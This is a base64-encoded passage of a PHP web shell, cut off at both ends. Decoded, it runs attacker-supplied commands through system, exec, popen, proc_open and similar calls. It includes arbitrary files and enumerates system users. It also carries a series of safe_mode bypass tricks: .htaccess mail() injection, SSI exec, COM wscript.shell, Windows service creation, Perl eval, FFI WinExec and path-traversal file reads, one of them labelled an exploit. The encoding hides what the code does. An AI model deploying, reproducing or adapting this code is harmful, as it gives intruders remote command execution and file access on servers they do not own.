CnsNCnJlZ19nbG9iKCk7DQp9DQoNCmJyZWFrOw0KY2FzZSAnemVuZCc6DQogaWYoZW1wdHkoJF9QT1NU Wyd6ZW5kJ10pKXsNCn0gZWxzZSB7DQoNCiRkZXplbmQ9JF9QT1NUWyd6ZW5kJ107DQppbmNsdWRlKCRf UE9TVFsnemVuZCddKTsNCnByaW50X3IoJEdMT0JBTFMpOw0KcmVxdWlyZV9vbmNlKCIkZGV6ZW5kIik7 DQplY2hvICI8L3RleHRhcmVhPjwvcD4iOw0KfQ0KYnJlYWs7DQogIGNhc2UgJ3BsdWdpbic6DQogIGlm ICgkX1BPU1RbJ3BsdWdpbiddICl7DQoNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgIGZvcigkdWlkPTA7JHVpZDw2MDAwMDskdWlkKyspeyAgIC8vY2F0IC9ldGMvcGFzc3dk DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGFyYSA9IHBvc2l4X2dldHB3 dWlkKCR1aWQpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg aWYgKCFlbXB0eSgkYXJhKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICB3aGlsZSAobGlzdCAoJGtleSwgJHZhbCkgPSBlYWNoKCRhcmEpKXsNCiAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludCAiJHZhbDoiOw0K ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW50ICJcbiI7DQogICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgZWNobyAiPC90ZXh0YXJlYT4iOw0KDQogICAgICAgICAgICAgfQ0KICAgICAgICBicmVhazsNCiAg ICAgICAgY2FzZSAnY29tbWFuZCc6DQogICAgICAgICAgaWYgKCFlbXB0eSgkX1BPU1RbJ2NvbW1hbmQn XSkpIHsNCg0KICAgICAgICAgICAgICAgIGlmICgkbWV0aG9kPT0ic3lzdGVtIikgew0KICAgICAgICAg ICAgICAgIHN5c3RlbSgkX1BPU1RbJ2NvbW1hbmQnXSk7DQogICAgICAgICAgICAgICAgZWNobyAiRnVu Y3Rpb25zIHN5c3RlbSI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGlmICgkbWV0 aG9kPT0icGFzc3RocnUiKSB7DQogICAgICAgICAgICAgICAgcGFzc3RocnUoJF9QT1NUWydjb21tYW5k J10pOw0KICAgICAgICAgICAgICAgIGVjaG8gIkZ1bmN0aW9ucyBwYXNzdGhydSI7DQogICAgICAgICAg ICAgICAgfQ0KICAgICAgICAgICAgICAgIGlmICgkbWV0aG9kPT0iZXhlYyIpIHsNCiAgICAgICAgICAg ICAgICAgICAgICAgICRzdHJpbmcgPSBleGVjKCRfUE9TVFsnY29tbWFuZCddKTsNCiAgICAgICAgICAg ICAgICAgICAgICAgIGVjaG8gJHN0cmluZzsNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIkZ1 bmN0aW9ucyBleGVjIjsNCg0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBpZiAoJG1l dGhvZD09InNoZWxsX2V4ZWMiKSB7DQogICAgICAgICAgICAgICAgJHN0cmluZyA9IHNoZWxsX2V4ZWMo JF9QT1NUWydjb21tYW5kJ10pOw0KICAgICAgICAgICAgICAgIGVjaG8gJHN0cmluZzsNCiAgICAgICAg ICAgICAgICBlY2hvICJGdW5jdGlvbnMgc2hlbGxfZXhlYyI7DQogICAgICAgICAgICAgICAgfQ0KICAg ICAgICAgICAgICAgIGlmICgkbWV0aG9kPT0icG9wZW4iKSB7DQogICAgICAgICAgICAgICAgJHBwID0g cG9wZW4oJF9QT1NUWydjb21tYW5kJ10sICdyJyk7DQogICAgICAgICAgICAgICAgJHJlYWQgPSBmcmVh ZCgkcHAsIDIwOTYpOw0KICAgICAgICAgICAgICAgIGVjaG8gJHJlYWQ7DQogICAgICAgICAgICAgICAg cGNsb3NlKCRwcCk7DQogICAgICAgICAgICAgICAgZWNobyAiRnVuY3Rpb25zIHBvcGVuIjsNCiAgICAg ICAgICAgICAgICAgIH0NCg0KCSAgaWYgKCRtZXRob2Q9PSJwcm9jX29wZW4iKSB7DQoNCg0KJGNvbW1h bmQgID0gaXNzZXQoJF9QT1NUWydjb21tYW5kJ10pICA/ICRfUE9TVFsnY29tbWFuZCddICA6ICcnOw0K DQoNCg0KDQpzZXNzaW9uX3N0YXJ0KCk7DQoNCiAgICBpZiAoIWVtcHR5KCRjb21tYW5kKSkgew0KICAg ICAgICBpZiAoKCRpID0gYXJyYXlfc2VhcmNoKCRfUE9TVFsnY29tbWFuZCddLCAkX1NFU1NJT05bJ2hp c3RvcnknXSkpICE9PSBmYWxzZSkNCiAgICAgICAgICAgIHVuc2V0KCRfU0VTU0lPTlsnaGlzdG9yeSdd WyRpXSk7DQoNCiAgICAgICAgYXJyYXlfdW5zaGlmdCgkX1NFU1NJT05bJ2hpc3RvcnknXSwgJF9QT1NU Wydjb21tYW5kJ10pOw0KDQogICAgICAgICRfU0VTU0lPTlsnb3V0cHV0J10gLj0gJyQgJyAuICRfUE9T VFsnY29tbWFuZCddIC4gIlxuIjsNCg0KICAgICAgICBpZiAoZXJlZygnXltbOmJsYW5rOl1dKmNkW1s6 Ymxhbms6XV0qJCcsICRfUE9TVFsnY29tbWFuZCddKSkgew0KICAgICAgICAgICAgJF9TRVNTSU9OWydj d2QnXSA9IHJlYWxwYXRoKCRpbmlbJ3NldHRpbmdzJ11bJ2hvbWUtZGlyZWN0b3J5J10pOw0KICAgICAg ICB9IGVsc2VpZiAoZXJlZygnXltbOmJsYW5rOl1dKmNkW1s6Ymxhbms6XV0rKFteO10rKSQnLCAkX1BP U1RbJ2NvbW1hbmQnXSwgJHJlZ3MpKSB7DQoNCiAgICAgICAgICAgIGlmICgkcmVnc1sxXXswfSA9PSAn LycpIHsNCiAgICAgICAgICAgICAgICAkbmV3X2RpciA9ICRyZWdzWzFdOw0KICAgICAgICAgICAgfSBl bHNlIHsNCiAgICAgICAgICAgICAgICAkbmV3X2RpciA9ICRfU0VTU0lPTlsnY3dkJ10gLiAnLycgLiAk cmVnc1sxXTsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgd2hpbGUgKHN0cnBvcygkbmV3X2Rp ciwgJy8uLycpICE9PSBmYWxzZSkNCiAgICAgICAgICAgICAgICAkbmV3X2RpciA9IHN0cl9yZXBsYWNl KCcvLi8nLCAnLycsICRuZXdfZGlyKTsNCg0KICAgICAgICAgICAgd2hpbGUgKHN0cnBvcygkbmV3X2Rp ciwgJy8vJykgIT09IGZhbHNlKQ0KICAgICAgICAgICAgICAgICRuZXdfZGlyID0gc3RyX3JlcGxhY2Uo Jy8vJywgJy8nLCAkbmV3X2Rpcik7DQoNCiAgICAgICAgICAgIHdoaWxlIChwcmVnX21hdGNoKCd8L1wu XC4oPyFcLil8JywgJG5ld19kaXIpKQ0KICAgICAgICAgICAgICAgICRuZXdfZGlyID0gcHJlZ19yZXBs YWNlKCd8Lz9bXi9dKy9cLlwuKD8hXC4pfCcsICcnLCAkbmV3X2Rpcik7DQoNCiAgICAgICAgICAgIGlm ICgkbmV3X2RpciA9PSAnJykgJG5ld19kaXIgPSAnLyc7DQoNCiAgICAgICAgICAgIGlmIChAY2hkaXIo JG5ld19kaXIpKSB7DQogICAgICAgICAgICAgICAgJF9TRVNTSU9OWydjd2QnXSA9ICRuZXdfZGlyOw0K ICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ291dHB1dCddIC49 ICJjZDogY291bGQgbm90IGNoYW5nZSB0bzogJG5ld19kaXJcbiI7DQogICAgICAgICAgICB9DQoNCiAg ICAgICAgfSBlbHNlaWYgKHRyaW0oJF9QT1NUWydjb21tYW5kJ10pID09ICdleGl0Jykgew0KICAgICAg ICAgICAgbG9nb3V0KCk7DQogICAgICAgIH0gZWxzZSB7DQoNCiAgICAgICAgICAgIGNoZGlyKCRfU0VT

U0lPTlsnY3dkJ10pOw0KDQogICAgICAgICAgICBpZiAoIWluaV9nZXQoJ3NhZmVfbW9kZScpKSB7DQog ICAgICAgICAgICAgICAgcHV0ZW52KCdST1dTPScgLiAkcm93cyk7DQogICAgICAgICAgICAgICAgcHV0 ZW52KCdDT0xVTU5TPScgLiAkY29sdW1ucyk7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICRs ZW5ndGggPSBzdHJjc3BuKCRfUE9TVFsnY29tbWFuZCddLCAiIFx0Iik7DQogICAgICAgICAgICAkdG9r ZW4gPSBzdWJzdHIoJF9QT1NUWydjb21tYW5kJ10sIDAsICRsZW5ndGgpOw0KICAgICAgICAgICAgaWYg KGlzc2V0KCRpbmlbJ2FsaWFzZXMnXVskdG9rZW5dKSkNCiAgICAgICAgICAgICAgICAkY29tbWFuZCA9 ICRpbmlbJ2FsaWFzZXMnXVskdG9rZW5dIC4gc3Vic3RyKCRfUE9TVFsnY29tbWFuZCddLCAkbGVuZ3Ro KTsNCg0KICAgICAgICAgICAgJGlvID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRwID0gcHJvY19vcGVu KCRfUE9TVFsnY29tbWFuZCddLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgYXJyYXkoMSA9PiBh cnJheSgncGlwZScsICd3JyksDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAyID0+IGFy cmF5KCdwaXBlJywgJ3cnKSksDQogICAgICAgICAgICAgICAgICAgICAgICAgICAkaW8pOw0KDQogICAg ICAgICAgICB3aGlsZSAoIWZlb2YoJGlvWzFdKSkgew0KICAgICAgICAgICAgICAgICRfU0VTU0lPTlsn b3V0cHV0J10gLj0gaHRtbHNwZWNpYWxjaGFycyhmZ2V0cygkaW9bMV0pLA0KICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFTlRfQ09NUEFULCAnVVRGLTgn KTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHdoaWxlICghZmVvZigkaW9bMl0pKSB7DQogICAg ICAgICAgICAgICAgJF9TRVNTSU9OWydvdXRwdXQnXSAuPSBodG1sc3BlY2lhbGNoYXJzKGZnZXRzKCRp b1syXSksDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgIEVOVF9DT01QQVQsICdVVEYtOCcpOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBmY2xv c2UoJGlvWzFdKTsNCiAgICAgICAgICAgIGZjbG9zZSgkaW9bMl0pOw0KICAgICAgICAgICAgcHJvY19j bG9zZSgkcCk7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoZW1wdHkoJF9TRVNTSU9OWydoaXN0 b3J5J10pKSB7DQogICAgICAgICRqc19jb21tYW5kX2hpc3QgPSAnIiInOw0KICAgIH0gZWxzZSB7DQog ICAgICAgICRlc2NhcGVkID0gYXJyYXlfbWFwKCdhZGRzbGFzaGVzJywgJF9TRVNTSU9OWydoaXN0b3J5 J10pOw0KICAgICAgICAkanNfY29tbWFuZF9oaXN0ID0gJyIiLCAiJyAuIGltcGxvZGUoJyIsICInLCAk ZXNjYXBlZCkgLiAnIic7DQogICAgfQ0KICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgIAkJfQ0K DQoNCgkJYnJlYWs7DQogIGNhc2UgJ3Rlc3QxMCc6DQogIEBlcnJvcl9sb2coJF9QT1NUWyd0ZXN0MTBf Y29udGVudCddLCAzLCJwaHA6Ly8uLi8uLi8iLiRfUE9TVFsndGVzdDEwX2ZpbGUnXSk7DQogIGJyZWFr Ow0KICBjYXNlICd0ZXN0MTEnOg0KICBpZihmaWxlX2V4aXN0cygiLi9yZXN1bHQudHh0IikgJiYgZmls ZV9leGlzdHMoIi4vLmh0YWNjZXNzIikpDQogICB7DQogICBAdW5saW5rKCIuLy5odGFjY2VzcyIpOw0K ICAgQHVubGluaygiLi9yZXN1bHQudHh0Iik7DQogICB9DQogICBpZiAoJGhhbmRsZSA9IEBmb3Blbigi Li8uaHRhY2Nlc3MiLCAndycpKSB7IEBmd3JpdGUoJGhhbmRsZSwgInBocF92YWx1ZSBtYWlsLmZvcmNl X2V4dHJhX3BhcmFtZXRlcnMgJy10ICYmICIuJF9QT1NUWyd0ZXN0MTFfY21kJ10uIiA+ICIuZGlybmFt ZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pLiIvcmVzdWx0LnR4dCciKTsgbWFpbCgiIiwgIiIs ICIiKTsgfQ0KICAgLy93aGlsZSghZmlsZV9leGlzdHMoZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJ TEVOQU1FIl0pLiIvcmVzdWx0LnR4dCIpKSBzbGVlcCgxKTsNCiAgIGlmKCRsaW5lcykgZm9yZWFjaCAo JGxpbmVzIGFzICRsaW5lKSB7IGVjaG8gaHRtbHNwZWNpYWxjaGFycygkbGluZSk7IH0NCiAgYnJlYWs7 DQogIGNhc2UgJ3Rlc3QxMic6DQogIGlmICgkaGFuZGxlID0gQGZvcGVuKCIuLy5odGFjY2VzcyIsICd3 JykpIHsgQGZ3cml0ZSgkaGFuZGxlLCAiQWRkVHlwZSB0ZXh0L2h0bWwgLnNodG1sXHJcbkFkZEhhbmRs ZXIgc2VydmVyLXBhcnNlZCAuc2h0bWxcclxuT3B0aW9ucyArSW5jbHVkZXMiKTsgfQ0KICBpZiAoJGhh bmRsZSA9IEBmb3BlbigiLi9jbWRzc2kuc2h0bWwiLCAndycpKSB7IEBmd3JpdGUoJGhhbmRsZSwgJzwh LS0jZXhlYyBjbWQ9IicuJF9QT1NUWyd0ZXN0MTJfY21kJ10uJyItLT4nKTsgfQ0KICBAaW5jbHVkZSgi aHR0cDovLyIuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLnJ0cmltKGRpcm5hbWUoJF9TRVJWRVJbJ1BIUF9T RUxGJ10pLCcvXFwnKS4iL2NtZHNzaS5zaHRtbCIpOw0KICBicmVhazsNCiAgY2FzZSAndGVzdDEzJzoN CiAgJHRtcCA9ICcnOw0KICBpZihAaXNfd3JpdGFibGUoJF9FTlZbJ1RNUCddKSkgJHRtcD0kX0VOVlsn VE1QJ107DQogIGVsc2VpZihAaXNfd3JpdGVhYmxlKGluaV9nZXQoJ3Nlc3Npb24uc2F2ZV9wYXRoJykp KSAkdG1wPWluaV9nZXQoJ3Nlc3Npb24uc2F2ZV9wYXRoJyk7DQogIGVsc2VpZihAaXNfd3JpdGVhYmxl KGluaV9nZXQoJ3VwbG9hZF90bXBfZGlyJykpKSAkdG1wPWluaV9nZXQoJ3VwbG9hZF90bXBfZGlyJyk7 DQogIGVsc2VpZihAaXNfd3JpdGVhYmxlKGRpcm5hbWUoX19GSUxFX18pKSkgJHRtcD1kaXJuYW1lKF9f RklMRV9fKTsNCiAgZWxzZSBicmVhazsNCiAgQHVubGluaygkdG1wLicvcmVzdWx0X3Rlc3QxMy50eHQn KTsNCiAgJHdzY3JpcHQgPSBuZXcgQ09NKCd3c2NyaXB0LnNoZWxsJyk7DQogICR3c2NyaXB0LT5SdW4o J2NtZC5leGUgL2MgIicuJF9QT1NUWyd0ZXN0MTNfY21kJ10uJyIgPiAnLiR0bXAuJy9yZXN1bHRfdGVz dDEzLnR4dCcpOw0KICB3aGlsZSghZmlsZV9leGlzdHMoJHRtcC4nL3Jlc3VsdF90ZXN0MTMudHh0Jykp IHNsZWVwKDEpOw0KICAkbGluZXMgPSBAZmlsZSAoJHRtcC4nL3Jlc3VsdF90ZXN0MTMudHh0Jyk7DQog IGlmKCRsaW5lcykgZm9yZWFjaCAoJGxpbmVzIGFzICRsaW5lKSB7IGVjaG8gaHRtbHNwZWNpYWxjaGFy cygkbGluZSk7IH0NCiAgQHVubGluaygkdG1wLicvcmVzdWx0X3Rlc3QxMy50eHQnKTsNCiAgYnJlYWs7 DQogIGNhc2UgJ3Rlc3QxNCc6DQogICRpb25jdWJlID0gQGlvbmN1YmVfcmVhZF9maWxlKCRfUE9TVFsn dGVzdDE0X2NtZCddKTsNCiAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRpb25jdWJlKTsNCiAgYnJlYWs7 DQogIGNhc2UgJ3Rlc3QxNSc6DQogICR0bXAgPSAnJzsNCiAgaWYoQGlzX3dyaXRhYmxlKCRfRU5WWydU TVAnXSkpICR0bXA9JF9FTlZbJ1RNUCddOw0KICBlbHNlaWYoQGlzX3dyaXRlYWJsZShpbmlfZ2V0KCdz ZXNzaW9uLnNhdmVfcGF0aCcpKSkgJHRtcD1pbmlfZ2V0KCdzZXNzaW9uLnNhdmVfcGF0aCcpOw0KICBl bHNlaWYoQGlzX3dyaXRlYWJsZShpbmlfZ2V0KCd1cGxvYWRfdG1wX2RpcicpKSkgJHRtcD1pbmlfZ2V0

KCd1cGxvYWRfdG1wX2RpcicpOw0KICBlbHNlaWYoQGlzX3dyaXRlYWJsZShkaXJuYW1lKF9fRklMRV9f KSkpICR0bXA9ZGlybmFtZShfX0ZJTEVfXyk7DQogIGVsc2UgYnJlYWs7DQogIEB1bmxpbmsoJHRtcC4n L3Jlc3VsdF90ZXN0MTUudHh0Jyk7DQogIEB3aW5fc2hlbGxfZXhlY3V0ZSgiY21kLmV4ZSIsIiIsIi9j ICIuJF9QT1NUWyd0ZXN0MTVfY21kJ10uIiA+ICIuJHRtcC4iL3Jlc3VsdF90ZXN0MTUudHh0Iik7DQog IHdoaWxlKCFmaWxlX2V4aXN0cygkdG1wLicvcmVzdWx0X3Rlc3QxNS50eHQnKSkgc2xlZXAoMSk7DQog ICRsaW5lcyA9IEBmaWxlICgkdG1wLicvcmVzdWx0X3Rlc3QxNS50eHQnKTsNCiAgaWYoJGxpbmVzKSBm b3JlYWNoICgkbGluZXMgYXMgJGxpbmUpIHsgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRsaW5lKTsgfQ0K ICBAdW5saW5rKCR0bXAuJy9yZXN1bHRfdGVzdDE1LnR4dCcpOw0KICBicmVhazsNCiAgY2FzZSAndGVz dDE2JzoNCiAgJHRtcCA9ICcnOw0KICBpZihAaXNfd3JpdGFibGUoJF9FTlZbJ1RNUCddKSkgJHRtcD0k X0VOVlsnVE1QJ107DQogIGVsc2VpZihAaXNfd3JpdGVhYmxlKGluaV9nZXQoJ3Nlc3Npb24uc2F2ZV9w YXRoJykpKSAkdG1wPWluaV9nZXQoJ3Nlc3Npb24uc2F2ZV9wYXRoJyk7DQogIGlmKEBpc193cml0ZWFi bGUoaW5pX2dldCgndXBsb2FkX3RtcF9kaXInKSkpICR0bXA9aW5pX2dldCgndXBsb2FkX3RtcF9kaXIn KTsNCiAgZWxzZWlmKEBpc193cml0ZWFibGUoZGlybmFtZShfX0ZJTEVfXykpKSAkdG1wPWRpcm5hbWUo X19GSUxFX18pOw0KICBlbHNlIGJyZWFrOw0KICAkbmFtZT0kdG1wLiJcXCIudW5pcWlkKCk7DQogICRu PXVuaXFpZCgpOw0KICAkY21kPShlbXB0eSgkX1NFUlZFUlsnQ09NU1BFQyddKSk/J2M6XFx3aW5kb3dz XFxzeXN0ZW0zMlxcY21kLmV4ZSc6JF9TRVJWRVJbJ0NPTVNQRUMnXTsNCiAgd2luMzJfY3JlYXRlX3Nl cnZpY2UoYXJyYXkoJ3NlcnZpY2UnPT4kbiwnZGlzcGxheSc9PiRuLCdwYXRoJz0+JGNtZCwncGFyYW1z Jz0+Ii9jICIuJF9QT1NUWyd0ZXN0MTZfY21kJ10uIiA+XCIkbmFtZVwiIikpOw0KICB3aW4zMl9zdGFy dF9zZXJ2aWNlKCRuKTsNCiAgd2luMzJfc3RvcF9zZXJ2aWNlKCRuKTsNCiAgd2luMzJfZGVsZXRlX3Nl cnZpY2UoJG4pOw0KICB3aGlsZSghZmlsZV9leGlzdHMoJG5hbWUpKSBzbGVlcCgxKTsNCiAgJGV4ZWM9 ZmlsZV9nZXRfY29udGVudHMoJG5hbWUpOw0KICB1bmxpbmsoJG5hbWUpOw0KICBlY2hvIGh0bWxzcGVj aWFsY2hhcnMoJGV4ZWMpOw0KICBicmVhazsNCiAgY2FzZSAndGVzdDE3JzoNCiAgJF9QT1NUWyd0ZXN0 MTdfY21kJ10gPSBzdHJfcmVwbGFjZSgnXFwnLCdcXFxcJywkX1BPU1RbJ3Rlc3QxN19jbWQnXSk7DQog ICRwZXJsID0gbmV3IFBlcmwoKTsNCiAgJHBlcmwtPmV2YWwoJ3ByaW50IGAnLiRfUE9TVFsndGVzdDE3 X2NtZCddLidgJyk7DQogIGJyZWFrOw0KICBjYXNlICd0ZXN0MTgnOg0KICBpZihAaXNfd3JpdGFibGUo JF9FTlZbJ1RNUCddKSkgJHRtcD0kX0VOVlsnVE1QJ107DQogIGVsc2VpZihAaXNfd3JpdGVhYmxlKGlu aV9nZXQoJ3Nlc3Npb24uc2F2ZV9wYXRoJykpKSAkdG1wPWluaV9nZXQoJ3Nlc3Npb24uc2F2ZV9wYXRo Jyk7DQogIGlmKEBpc193cml0ZWFibGUoaW5pX2dldCgndXBsb2FkX3RtcF9kaXInKSkpICR0bXA9aW5p X2dldCgndXBsb2FkX3RtcF9kaXInKTsNCiAgZWxzZWlmKEBpc193cml0ZWFibGUoZGlybmFtZShfX0ZJ TEVfXykpKSAkdG1wPWRpcm5hbWUoX19GSUxFX18pOw0KICBlbHNlIGJyZWFrOw0KICAkbmFtZT0kdG1w LiJcXCIudW5pcWlkKCk7DQogICRhcGk9bmV3IGZmaSgiW2xpYj0na2VybmVsMzIuZGxsJ10gaW50IFdp bkV4ZWMoY2hhciAqQVBQLGludCBTVyk7Iik7DQogICRyZXM9JGFwaS0+V2luRXhlYygiY21kLmV4ZSAv YyAiLiRfUE9TVFsndGVzdDE4X2NtZCddLiIgPlwiJG5hbWVcIiIsMCk7DQogIHdoaWxlKCFmaWxlX2V4 aXN0cygkbmFtZSkpIHNsZWVwKDEpOw0KICAkZXhlYz1maWxlX2dldF9jb250ZW50cygkbmFtZSk7DQog IHVubGluaygkbmFtZSk7DQogIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkZXhlYyk7DQogIGJyZWFrOw0K ICBjYXNlICd0ZXN0MTknOg0KDQppZihFbXB0eSgkdGVzdDE5KSBhTmQgRW1wdHkoJF9HRVRbJ3Rlc3Qx OSddKSBhTmQgRW1wdHkoJF9QT1NUWyd0ZXN0MTknXSkpIGRpRSgiXG4iLiRrYXJhdG9uaWspOw0KDQpp ZighZW1wdHkoJF9HRVRbJ3Rlc3QxOSddKSkgJGZpbGU9JF9HRVRbJ3Rlc3QxOSddOw0KaWYoIWVtcHR5 KCRfUE9TVFsndGVzdDE5J10pKSAkZmlsZT0kX1BPU1RbJ3Rlc3QxOSddOw0KDQoNCmlmKChjdXJsX2V4 ZWMoY3VybF9pbml0KCJmaWxlOmh0dHA6Ly8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8u Li8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8u Li8uLi8iLiRmaWxlKSkpIGFOZCAhZW1wdFkoJGZpbGUpKSBkaWUoIjxCPjxicj5OZ3UgdHJvbmcgcnVu ZzwvQj48L0ZPTlQ+Iik7DQplbHNlaWYoIWVtcHRZKCRmaWxlKSkgZGllKCI8Rk9OVCBDT0xPUj1cIlJF RFwiPjxDRU5URVI+U29ycnkuLi4gRmlsZQ0KPEI+Ii5odG1sc3BlY2lhbGNoYXJzKCRmaWxlKS4iPC9C PiBkb2Vzbid0IGV4aXN0cyBvciB5b3UgZG9uJ3QgaGF2ZQ0KcGVybWlzc2lvbnMuPC9DRU5URVI+PC9G T05UPiIpO0JlYXJrOw0KY2FzZSAndGVzdDIwJzoNCkBvYl9jbGVhbigpOw0KICAkZXJyb3JfcmVwb3J0 aW5nID0gQGluaV9nZXQoJ2Vycm9yX3JlcG9ydGluZycpOw0KICBlcnJvcl9yZXBvcnRpbmcoRV9BTEwg XiBFX05PVElDRSk7DQogIEBpbmlfc2V0KCJkaXNwbGF5X2Vycm9ycyIsIDEpOw0KICBAaW5pX2FsdGVy KCJkaXNwbGF5X2Vycm9ycyIsIDEpOw0KICAkc3RyPUBmb3BlbigkX1BPU1RbJ3Rlc3QyMF9maWxlJ10s InIiKTsNCiAgd2hpbGUoIWZlb2YoJHN0cikpe3ByaW50IGh0bWxzcGVjaWFsY2hhcnMoZmdldHMoJHN0 cikpO30NCiAgZmNsb3NlKCRzdHIpOw0KICBlcnJvcl9yZXBvcnRpbmcoJGVycm9yX3JlcG9ydGluZyk7 DQogIGJyZWFrOw0KY2FzZSAndGVzdDIxJzoNCiRmaWxlbj0kX1BPU1RbJ3Rlc3QyMV9maWxlJ107DQpA Zm9wZW4oJ3NycGF0aDovLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLycuJF9QT1NUWyd0 ZXN0MjFfZmlsZSddLCJhIik7DQppZiAoZmlsZV9leGlzdHMoJGZpbGVuKSkNCnsNCmVjaG8gJGxhbmdb JGxhbmd1YWdlLidfdGV4dDYxJ107DQp9DQplbHNlDQplY2hvICJDYW4ndCB3cml0ZSBmaWxlIjsNCg0K ICBicmVhazsNCmNhc2UgJ3Rlc3QyMic6DQogICAgICAgZWNobyAiUEhQIHJlYWxwYXRoKCkgbGlzdGlu ZyBkaXJlY3RvcnkgU2FmZV9tb2RlIGJ5cGFzcyBFeHBsb2l0XHJcblxyXG4iOw0KICAgICAgIGlmKCEk ZGlyKXskZGlyPScvZXRjLyc7fTsNCiAgICAgICBpZighZW1wdHkoJF9QT1NUWydlbmRfcmxwaCddKSl7 JGVuZF9ybHBoPSRfUE9TVFsnZW5kX3JscGgnXTt9ZWxzZXskZW5kX3JscGg9Jyc7fQ0KICAgICAgIGlm KCFlbXB0eSgkX1BPU1RbJ25fcmxwaCddKSl7JG5fcmxwaD0kX1BPU1RbJ25fcmxwaCddO31lbHNleyRu

X3JscGg9JzMnO30NCg0KICAgICAgIGlmKCRyZWFscGF0aD1yZWFscGF0aCgkZGlyLicvJykpe2VjaG8g JHJlYWxwYXRoLiJcclxuIjt9DQogICAgICAgaWYoJGVuZF9ybHBoIT0nJyAmJiAkcmVhbHBhdGg9cmVh bHBhdGgoJGRpci4nLycuJGVuZF9ybHBoKSl7ZWNobyAkcmVhbHBhdGguIlxyXG4iO30NCiAgICAgICBm b3JlYWNoKCRwcmVzZXRzX3JscGggYXMgJHByZXNldF9ybHBoKXsNCiAgICAgICAgICAgaWYoJHJlYWxw YXRoPXJlYWxwYXRoKCRkaXIuJy8nLiRwcmVzZXRfcmxwaC4kZW5kX3JscGgpKXtlY2hvICRyZWFscGF0 aC4iXHJcbiI7fQ0KICAgICAgIH0NCiAgICAgICBmb3IoJGk9MDsgJGkgPCBzdHJsZW4oJGNoYXJzX3Js cGgpOyAkaSsrKXsNCiAgICAgICAgICBpZigkcmVhbHBhdGg9cmVhbHBhdGgoJGRpci4iL3skY2hhcnNf cmxwaFskaV19Ii4kZW5kX3JscGgpKXtlY2hvICRyZWFscGF0aC4iXHJcbiI7fQ0KICAgICAgICAgIGlm KCRuX3JscGg8PTEpe2NvbnRpbnVlO307DQogICAgICAgICAgZm9yKCRqPTA7ICRqIDwgc3RybGVuKCRj aGFyc19ybHBoKTsgJGorKyl7DQogICAgICAgICAgICAgaWYoJHJlYWxwYXRoPXJlYWxwYXRoKCRkaXIu Ii97JGNoYXJzX3JscGhbJGldfXskY2hhcnNfcmxwaFskal19Ii4kZW5kX3JscGgpKXtlY2hvICRyZWFs cGF0aC4iXHJcbiI7fQ0KICAgICAgICAgICAgIGlmKCRuX3JscGg8PTIpe2NvbnRpbnVlO307DQogICAg ICAJICAgICBmb3IoJHg9MDsgJHggPCBzdHJsZW4oJGNoYXJzX3JscGgpOyAkeCsrKXsNCiAgICAgICAg ICAgICAgICBpZigkcmVhbHBhdGg9cmVhbHBhdGgoJGRpci4iL3skY2hhcnNfcmxwaFskaV19eyRjaGFy c19ybHBoWyRqXX17JGNoYXJzX3JscGhbJHhdfSIuJGVuZF9ybHBoKSl7ZWNobyAkcmVhbHBhdGguIlxy XG4iO30NCiAgICAgICAgICAgICAgICBpZigkbl9ybHBoPD0zKXtjb250aW51ZTt9Ow0KICAgICAgICAg ICAgICAgIGZvcigkeT0wOyAkeSA8IHN0cmxlbigkY2hhcnNfcmxwaCk7ICR5Kyspew0KICAgICAgCSAg ICAgICAgICAgaWYoJHJlYWxwYXRoPXJlYWxwYXRoKCRkaXIuIi97JGNoYXJzX3JscGhbJGldfXskY2hh cnNfcmxwaFskal19eyRjaGFyc19ybHBoWyR4XX17JGNoYXJzX3JscGhbJHldfSIuJGVuZF9ybHBoKSl7 ZWNobyAkcmVhbHBhdGguIlxyXG4iO30NCiAgICAgIAkgICAgICAgICAgIGlmKCRuX3JscGg8PTQpe2Nv bnRpbnVlO307DQogICAgICAJICAgICAgICAgICBmb3IoJHo9MDsgJHogPCBzdHJsZW4oJGNoYXJzX3Js 